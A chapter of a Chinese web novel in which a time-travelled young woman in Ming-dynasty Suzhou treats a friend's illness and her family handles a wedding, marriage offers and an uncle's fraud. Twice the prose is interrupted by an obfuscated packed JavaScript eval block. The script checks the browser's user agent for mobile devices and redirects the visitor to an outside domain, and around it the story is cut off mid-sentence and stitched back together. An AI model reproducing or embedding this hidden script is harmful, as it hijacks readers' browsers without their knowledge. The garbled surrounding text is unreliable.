妙云不知道妙真已经察觉了,回去后,先把自己在她那儿看的用纸笔记下,至于花样子她不愁,因为她自小学画画,还跟着她娘学刺绣。 但是要自己做花谱,就得买颜料,她的颜料早就不够了。 可颜料的钱还得找她爹要,她娘对每一文钱的出处都看的紧,她爹虽然不通人情世故,有时候还假清高,却是个软心肠经不住人家求的人。 她立即去徐大郎那里哭求一番,“女儿好容易得到这个活计,又是那样的富户人家,若是不拿出些真凭实据,怕是人家会说女儿。” 见女儿哀求,徐大郎只好把徐二鹏借给他赁房还剩下的五两,拿了三两出来给女儿,另有二两自己偷偷收着,这二两还要给徐四娘添妆用。 给完之后,他才苦笑一番,自己这才真真是一无所有了。 却说徐四娘婚期在隔日,妙真新做的衣裳就已经送来了,在家穿的简朴些不打紧,出去外面还是要像样些。 白挑线的裙子,豆绿的比甲,再有一串金三事的禁步挂在胸前,耳朵上挂着金柳叶的坠子,妙真调了些脂粉薄薄的扑在脸上,看着靶镜里的自己,虽然算不得倾国倾城容貌出众,但也算得上秀丽端雅了。 打扮完了之后,随爹娘一道去了枫桥,楼房前面早早就搭起了棚子,后面灶房请的是包氏的娘家弟弟过来烧饭的。 梅氏就略显不满意:“怎么请他来?” “这其中有什么事故么?”妙真还不知道。 梅氏道:“上回你弟弟洗三,你三婶把她兄弟叫到咱们家里来,家伙什都搬来了,我们就同意了,说是九桌的客人,偏预备十桌。不仅如此,一桌就收五钱,客人们用完饭,他也不让他的人来收拾。” “怪道的,就是如今市面上五果五菜的筵席,狮仙斗糖桌面,也不过五钱而已。”妙真想这包家舅爷真黑心。 梅氏又道:“还有呢,卖烧饼的老高得了重病,人还没死呢。包大舅架着一班人要上门给人家办丧事,被高家人打了出来。” 妙真听了都咋舌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078399|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原本家里想请徐二鹏记礼簿,但徐二鹏只肯中午过来用饭,上午还要写书,故而徐老太让她弟弟徐老舅爷写礼簿。 梅氏让人拿了二两银子来,这是一笔礼钱,但不能说礼钱,因为是一家人,所以只说是给徐四娘的添妆。 一年多未见,如今的徐四娘刚满十六岁,饶是以前多嫌她为人,但见她一身红衣裙,含羞带臊的,立马要嫁去别家,也觉得时光飞逝。 听说徐四娘如今一手饭菜做的很好,浆洗缝补也做得,比徐老太还要能干些。 从新房出来,见徐大郎一个人过来的,妙真还问起:“大姐姐还没来么?” “她和你大伯母都有事。”徐大郎道。 妙真就不往下问了,显然肯定是大伯母不愿意过来的,她住老宅的时候受了气,现下更不愿意为徐家做面子,这也能够理解。 黄氏和梅氏不同,黄氏的日子过的不甚痛快,所以也不愿意敷衍婆家人。梅氏平日都是关起门过自己的小日子,衣食无忧,只是一年两三次和婆家人交流,因此还尚算能够容忍。 随着客人陆续到来,梅氏带着妙真坐席,桌上的菜色全是肥腻腻的,新郎官过来塞开门钱的时候,也只给三房两个红包更厚些。 妙真见到了这位小姑父,头尖尖的,嘴有些突,似乎精明外露些。 到底,还算是热闹,吹锣打鼓的把新娘子接走了。 三日回门,妙真她们就没过去了,徐四娘的回门礼都拿到徐老太那里,徐老太想着自己平日跟着三儿子过日子,遂拿了一份出来给老三,至于其余两个儿子的礼她就昧下了。 梅氏其实是个仔细人,心知肚明,但小儿子才三个月,正离不得人,虽然有乳母照顾,但她哪里放心。 妙真倒是闲下来了,每日只钻研医术,做做女红,倒也惬意。 却说月余后,丰娘左颈上的痰核还真的消失殆尽,喜的丰娘逢人就夸妙真医术了得。 却说这话让马家下人听见后,马夫人抹了抹才干的泪痕,似乎下了决心到徐家。此时,徐家人正一处吃晚饭呢,妙真正考较弟弟,帮弟弟背书,见他背完,才盛了汤饭给他,刚递完,就见马夫人来了。 马夫人这一来,梅氏见她欲言又止,怕她有难言之隐,请她进去内室,她却道:“我想请真真过去我们那边看看。” 妙真一顿,难不成是马玉兰真的得了重病,她连忙跟随过去。 以往到马家气氛都是很欢快的,如今却怪怪的,马夫人一路无语,只是到了马玉兰的小院子里,到了正房,打开了门,妙真进来往里一看。 昔日欢快活泼的马玉兰,如今脸上忽白忽红,腹部那样突着,似有些身孕一般。 马玉兰也有些恍惚,马太太在她耳边道:“真真,你看你马姐姐过年的时候还好好的,年过完,经水也不来了,肚子变大了。做了两场法事,散漫出去不少银钱,却还不见好,后来请了个大夫,先是说你姐姐鬼交,还有说她贪欢不肯承认,气的我浑身发抖,还怕人家说出去,塞了银子封口。” 妙真听了忍不住鼻酸,又道:“那有没有请茹夫人来看?” “请了,一开始她说你马姐姐肚子里有石瘕,后来也没什么效果,就说是鬼胎,还是你师父建议我请人来作法的。”马太太忧心的很,她知晓找茹氏都没有,更何况是找茹氏的徒弟?可如今也只能死马当活马医医了。 妙真突然想起她看过的《傅青主女科》里说的室女鬼胎,虽说也有其局限性,但似乎就是这哥症状,她镇定了一会儿,才对马太太道:“这不是鬼胎,我的法子只有三成的把握,您若放心,我勉力一试,您若不放心,此事我也不会乱说。” 没有现代医学手段,妙真只能慎之又慎,好在马太太真心爱女儿,绝非那等愚昧之人。 马太太见她不说大话,态度谨慎,立马道:“我放心,我若不放心,也就不会找你了。” “好,那我丑话先说在前头,姐姐的病症我写在医案里,中途若是出现什么差错,您可不能找我,若是同意,便找人做个见证,咱们签一份文书。”妙真是因为医闹穿越过来的,想起来心有余悸,故而,也只有如此。 20.程家供奉(含入v通知) 她先细细的和伺候马玉兰的丫头说话,先排除了绦虫病,再想若是恶性肿瘤的话,自己就得先帮她活血化瘀,到底结块必有有形之血,但也不能过度,所以她先开了荡邪散,又开了调正汤,另外还要准备桂香平胃散。 “我看马姐姐似乎如今吞咽都有困难了,我先回去了拿银针,等会子你们药熬好,快熬好的时候再喊我过来。”妙真如此道。 却说傍晚时,妙真方才过来,先点了避秽香后,又用针让马玉兰张开嘴,马玉兰见是妙真,还笑了一下。 “马姐姐,我亲自喂你喝药。” 马太太双目赤红,显然已经在这里熬了许久了,她们先把药拿来,马玉兰服下之后,先前没有反应,又在半夜,妙真又让人熬了一次给她服下,她立马抚着肚子喊疼。 妙真松了一口气:“你们赶紧伺候她出恭。” 到天快亮时,听丫头说她排下半桶秽血,她再把调正汤让人端进去,这调正汤就是专门用来补气的,只要气旺了,血就能运行。 她对马太太道:“这调正汤一共四剂,正常来说,服完脾胃会好些,气血就能运转起来,经水通畅就好了。您放心,我早晚都会过来一次。” 熬了这么一夜,妙真也十分累了,马太太虽然在伤心中,但仍旧知道礼数,等妙真到家后,送了五两银子并一匹三林塘的松江标布一匹绿梭布。 妙真把钱放匣子里,两匹布送到梅氏那里,让她等夏天裁衣裳穿,自己沉沉的睡了。 布送到梅氏这里的时候,徐二鹏正出来活动一下脖颈,他道:“这诊金倒是挺丰厚的。” “可不是,松江标布一匹一钱五分,绿梭布四钱五分银但也累啊,昨儿在马家熬了一宿。”梅氏很心疼女儿。 徐二鹏则道:“咱们女儿如今正是积累名气的时候,说这个做什么。倒是她这个年纪,咱们得帮她说一桩好亲事才是,只我原本看中的罗秀才,总觉得不好。” “怎么了?”梅氏不解。 徐二鹏小声道:“这罗秀才虽然是十五岁就中了秀才,但不通庶务,家里又穷,全靠他母亲纺线织布供他读书。我上回庆贺他做秀才,特地送了一挂肉去,那肉快放臭了,才数着吃的,再者听说罗母为人十分执拗,罗秀才在他母亲面前唯唯诺诺。男子有没有功名,算不得最紧要,最重要的是自己能不让妻小受委屈。” “寡母独子,做儿媳妇的反而似外人,固然他们不贪嫁妆,做儿媳妇的也得跟着一起受穷,否则婆婆丈夫都吃糠咽菜,你还敢吃肉?我女儿就是不嫁人,也不能这般。” 梅氏笑道:“相公想的周到。我想马太太认得的人多,那童家不就是因为她牵线,玉成好事么?正好了,她们家女儿若好了,我跟着她多去香会,如此也能多认识一些人。” “唔,这般就好了。”徐二鹏点点头。 二人刚用完饭,就见妙云来了,说是来找妙真的,梅氏忙道:“真真昨儿忙着给人看病,这会子累了,刚刚睡下,你就在我这儿坐会儿吧。” 闻言,妙云却道:“我只找她拿一个花样子,既然她睡了,我就先回去了。” 说罢又匆匆要走,还是梅氏觉得她一个大姑娘走在路上不安全,让人用驴车送她回去。等妙云走了,梅氏又开始吩咐人收拾饭桌,开始准备梅举人的寿礼,她也是物尽其用,用妙真拿回来的松江标布做一件长衫,又让金钗银环两个糊鞋面,纳鞋底。 又有丰娘闲不住,也过来一边说话,一边劈线道:“说来也真是怪事,今儿早上,我往枫桥买米去,见着妙莲小姐了,她正哭丧着脸,我忙问怎么了,她就说她师傅刘稳婆被人把家都拆了。” 梅氏咋舌,又唤了小厮前来问,那小厮平日就在外跑腿的,出去打听了一番,回来回话时,正好妙真刚醒了来她娘这里,听到来旺道:“这刘稳婆原本是做稳婆的,不知在哪儿学了一手扎针的手艺,右千户的娘子请她去看,结果这婆子胡乱扎针,把一个好好地孩儿弄的小产了。千户所的人问她医理,她也说不明白,后来拷问一番,说药丸找本府致仕的太医买的,就把她房子拆了。” “其实刘稳婆这样的还留有余地的,我在无锡时听说有庸医害死人,直接被砍头了。”妙真道。 梅氏胆小,看着女儿道:“要不你还是别出去了吧?就在家里,爹娘养活你。” “娘,我又不是庸医,是了,我还得过去马家看看。”她说完,又去了马家那边。 马玉兰已经喝了两次药了,肚子是平了不少,人还是很虚弱,她知道马太太很煎熬,不免坐着又宽慰她几分。 “我只是这样熬着,等她好起来。”马太太都不知道多少个日夜自己都没歇息了。 妙真道:“就这么几日,若是好就好了,若不成,还是要请大夫看,总不能讳疾忌医。” 马太太握着妙真的手道:“好孩子,我只信你,也信你开的方子。” 艰难的熬了六七日后,天还未亮,马太太见女儿脸色不再忽红忽白,经水也来了,喜不自胜,就过来喊妙真过去,妙真见状,忍不住笑道:“这就好了,马太太,日后且多留心饮食就好了。如今马姐姐才好,也要注意保养。” 马太太笑道:“我都不知道怎么谢你好了,你这手医术,比你师父还强。” “您千万别怎么说,您真的不知晓如何谢我,就帮我介绍一二,我就感激不尽了。”妙真笑。 女儿病体痊愈,马太太欢喜不已,原本一家子还因为女儿的病,怕人说闲话,如今女儿恢复了,一切如常,她怎能不高兴? 经此一役,马玉兰待妙真如亲妹妹似的,马太太也不遗余力的帮妙真推荐,再有徐二鹏也四处宣扬女儿乃吴中女医谈允贤徒弟,一时,妙真一个月倒有二两七钱银子的进账,也微微有些名声了。 茹氏听说了此事,又喊她过去问询:“听说你把马家那闺女治好了?” 妙真道:“也是侥幸,之前看了一个方子也就试了一下,真是巧了。”师父没治好的病人,弟子治好了,说出去岂不是打脸?所以她说话很小心。 “你如今出师了,我听着也高兴啊。”茹氏笑道。 妙真愈发恭谨道:“我也是误打误撞,说起来当初若非您教导,我是不可能入门的。” 茹氏虽然有些微妙心理,但是挑不出错误来,倒是面上顾着。 又说回来之后,见三叔来吐苦水,说大伯去他那里借钱度日,如今在乡下社学做教书先生,也不知道何时才能还他的钱? 妙真绕了过去,回来自和梅氏一处说话。 “现下茹师父教了两个姓张的女孩儿,听说是药铺东家的女儿,只茹师父抱怨呢,说那两位小姐三天打鱼两天晒网的,到如今这么久,连《难经》都还不熟。我想这些话我听着就是了,不好插嘴说人家的不是。” “像你那样勤奋有天分的有几人,就拿茹家那位惜娘来说,她到现在还不能单独开方看病。”梅氏夸自己女儿。 妙真连忙摆手。 中午家中留了三叔吃饭,一条香煎大白刁,一碟水汪汪的萝卜丝炒腊肉,一碟香炒鸡蛋,一小瓮茭白、莲藕、水芹、鸡头米炖的汤。 用完饭后,三叔前脚刚走,徐二鹏准备睡个午觉,却见前面伙计找了来,说有位公子来找,看起来身份不凡。 徐二鹏走出去一看,却是个青年公子,魁伟轩昂,一身的打扮全然似官家子弟,忙打躬作揖:“不知公子寻小可何事?” 但见那青年公子身后又来了一人,徐二鹏倒是认得他 ,正是谈家人,当时二人打过照面。这谈大郎道:“徐秀才,这位是原首辅程公之孙,江西布政使司左参议的大公子。” 徐二鹏唬了一跳,又强作镇定道:“程大舍、谈大郎君,是小可有眼不识泰山,请你们进来吃茶。” 后面妙真和梅氏听了,不知来人何意,妙真专门跟随仇娘子学过茶道,又去茶罐子里拣了惊蛰产的松萝茶,梅氏拣了杂色果子装了三碟,又让人在巷口买了一钱玫瑰馅的顶皮酥饼来,妙真拿了一茶匙玫瑰酱淋在上面。 外边的点心那些程君宪是绝对不会吃的,他只呷了一口茶,倒是觉得滋味不错,汤色翠绿,香味清高。 只听他道:“家父现今在江西任上,家母近来身体微恙,听闻三吴女医尤其多,故而想寻一位到我们家里替家母诊治一番,也算是尽我的孝心了。原本是去无锡想请杨孺人,但她老人家如今已然是不能舟车劳顿,倒是向我推荐了令千金。” 徐二鹏一面听说女儿被推举到官宦人家做供奉很高兴,但想着女儿年纪已然十三岁半了,况且人家都说一入侯门深似海,他们这样的小户人家的闺女都没受过什么委屈的。 故而,只是有些迟疑道:“我家女儿是会些医术,但小可如今分身乏术,也不好让她只身去金陵。” “这不妨事,到时候随我的船一道过去就好了,我还要去安徽程家一趟,延请小方脉的女大夫,替我小侄女平日调息。”程君宪道。 徐二鹏心道这大户人家规矩就是严,真真男女有别,他只道:“实不相瞒,家中女儿的事情多是房下作主,待我与他商量一二,再回复您,您看可好。” 这程君宪是大家公子,谈大郎君怕他生气,心里倒是佩服徐二鹏是个有骨气的人,不像别人听见这样的事情就跟哈巴狗似的,故而,谈大郎转圜:“依我看,这也使得,儿行千里母担忧,你且好好和房下商量一番。” 徐二鹏又忙说好,亲自送了程君宪出去,那程君宪让他三日后派人找他。 这个消息对于妙真来说当然是个好机会,她若是有程家这层关系,将来若是举荐她到宫里做一回医女,如此身价倍增。 但是古代可不像现代,离开父母亲眷,权势极大的人家,人一进去,稍有冒犯,怎么死的都不知道?没有权势的人家,很难有公平而言。 所以,她对徐二鹏道:“走程家的捷径的确不错,但女儿想厚积薄发,在苏州府慢慢来就是了,不必急于求成。” “我也是这么想的,程家门第高,那程大舍也是个讲道理的人,不如先拒了,只说你要发嫁就是。”徐二鹏也不怕得不得罪人,他也不是程家的奴才,况且还有功名在身上。 天要下雨,娘要嫁人,俗话说宁拆十座庙,不拆一座亲,到时候让人从中转圜,倒比什么都强。 又说次日一早,一家人先去梅家,给梅举人祝寿。 梅举人这两年精神头倒是不错,见梅氏送的贺礼,两盒寿桃、两盒银丝面、一篓福橘,又两件长衫,两双鞋子,倒是捏须笑了笑。 往年姊妹中,梅氏嫁的最差,现下因徐二鹏颇有些家私,倒也没人敢小瞧。 只乔姨母进来时,妙真有些摸不着头脑,往常这位姨母最是盛装打扮了,如今却是油绿的长衫配着宝蓝的裙子,只觉得沉闷的很。 听梅氏小声对妙真道:“你乔姨夫往家里领了个娼妇来,挑唆的家宅不宁,连她这个正房也抛到脑后。去年过年,她那里什么都没送去,你乔姨夫只和那两房一起过日子。” 妙真听了咋舌,一抬头,却见乔姨母死命盯着她,她还以为自己看错了,再一眨眼,那乔姨母已经起身了。 这乔姨母在五姨娘生了儿子之后就失宠了,去年听五姨娘故意嘲笑她有眼不识泰山,才知道是妙真这个小丫头弄鬼,心里愤恨不已。 又兼丈夫被外头梳拢的小娼妇勾着,家里领回来的也是牙尖嘴利,常常咬群尖刺,把自己挤兑的无立锥之地。 她无法恨丈夫,也赢不了那些妾侍,恨起妙真来。 别人毁了自己的姻缘,她自当也睚眦必报,故而挑一家金玉其外败絮其中的亲事和她娘嘀嘀咕咕,她娘又告诉梅举人,梅举人也不妨内宅妇人捣鬼,就同徐二鹏说了。 徐二鹏人长的绵胖,却是个极其有主见的人,知晓女儿若是嫁的不好,将来受累一辈子,故而即便听说是县丞家里,没有答应,又推说道:“老泰山且不知道,我家真真因拜了无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好,都听你的,还不成么?”马玉兰因为自己患病被妙真救了,愈发信赖她。 妙真与她又玩笑几句,又送了她一个香囊,让她戴在身上辟邪。 等马玉兰离开后,妙真又被喊到前厅吃晚饭,因中午吃的大肉大鱼,此时只吃些细粥并两样小菜。 吃完就回去睡了。 却不曾想夤夜之时,徐大郎哭丧着脸上门了,此时只有徐二鹏在奋笔疾书,听说他这个时候过来,眼皮跳了跳。 “大哥,这个时候,你怎么来了?” “二鹏,你可要救救哥哥了,哥哥被人捏了错处,若是不拿五百两去,哥哥的命不保啊。”徐大郎也没想到自己一时醉酒,把假贡监的事情说出来了。 徐二鹏皱眉:“哥哥,你先说说你被人拿了什么把柄了?” 这个时候徐大郎还不说实话,只道:“你就说你大哥的命你救不救吧?” “救不了。”徐二鹏可不是受人威胁的人,立马道。 徐大郎气急败坏:“难道你真的要看着我死吗?” “所以,你到底做了什么事情了?你不说,我可没法子。” 徐大郎气结,他被人威胁的时候差点割腕自杀,可刀子割的太疼,他下不了手,想投水,又觉得水太凉,好不容易堆起脸面过来借钱,二弟却不肯,他捂着脸呜咽哭了起来。 见到这样的大哥,徐二鹏心下有些不忍,但又想着自己还有一段情节没写通顺,划掉,重新又润色了一遍。 徐大郎见徐二鹏还是不理他,又道:“我可告诉你,这事儿出了,不仅仅是我,就是你们也一样都要遭罪的,你不信就算了。” 徐二鹏挥挥手:“随便吧。” 见他大哥一直不说理由,徐二鹏也就不废话了,他是了解徐一鸣的,色厉内荏故作清高,喜欢得罪人,但这个人胆子小的很,一般不敢真的犯什么大事。 徐一鸣气咻咻的走了,一出门,就被几个家丁控制住了。瞬间,徐大郎有些绝望,但同时又抱有期望,弟弟不愿意散尽家财救自己,可是轮到他了,他不会花钱买平安吗?如此一想,心下安定了。 次日一早,有人找上门来了,等妙真到前厅来的时候,见爹娘脸色都十分严肃。 爹望着她道:“真真,咱们可都被你大伯害惨了,他竟然冒充监生,冒充秀才,其实什么都不是。有人要去告他,如果他真的吃了罪,咱们也是会受株连的。” “什么?大伯竟然都是假的。”妙真错愕。 又听徐二鹏道:“是啊,人家把他的假监照都拿到手了。如今只有一个法子,要不索性花钱给你大伯纳捐,找人办一个监生,可我实在是咽不下这口气,凭什么让我为他收尾?” 想到这里,他看着女儿道:“等会儿我跟程大舍回话,你别慌,到时候去了程家之后,总算是有一条生路。成化十四年七月,冒充汪直的杨福被处以极刑,你大伯虽然不至于此,但就怕咱们牵连被流放。到时候我给你娘写一封休书,你记得出息了,把你娘和你弟弟们接走。” 妙真知道她爹是做最坏的打算,但是她却镇定自若:“您别这么想,现如今花钱还能减刑呢,更何况又不是您犯事。我倒是有个两全其美的法子,您待会儿置办些尺头香料送给程大舍做礼物,若无其事的跟那程大舍说我愿意去程家做供奉,然后向他讨要一张帖子,就说日后去接我,怕人家认不得您。这礼一送,伸手不打笑脸人,凭一张程家的帖子,苏州府的人就不敢如何。如此,我得了好前程,您也避过这一遭。” 徐二鹏抚掌而笑:“还真是两全其美的主意。” 见爹爹也同意,妙真心下稍安,甚至还松了一口气,又细细叮咛她爹一番。 徐二鹏认真听着,到最后又有些发狠道:“我如今只管我们全家,别人的死活,我是一概不管了。你大伯爱慕虚荣就罢了,到最后来我家里都不愿意说明真相,存心想拉我下水,这样的人或打或流放,也是他罪有应得。”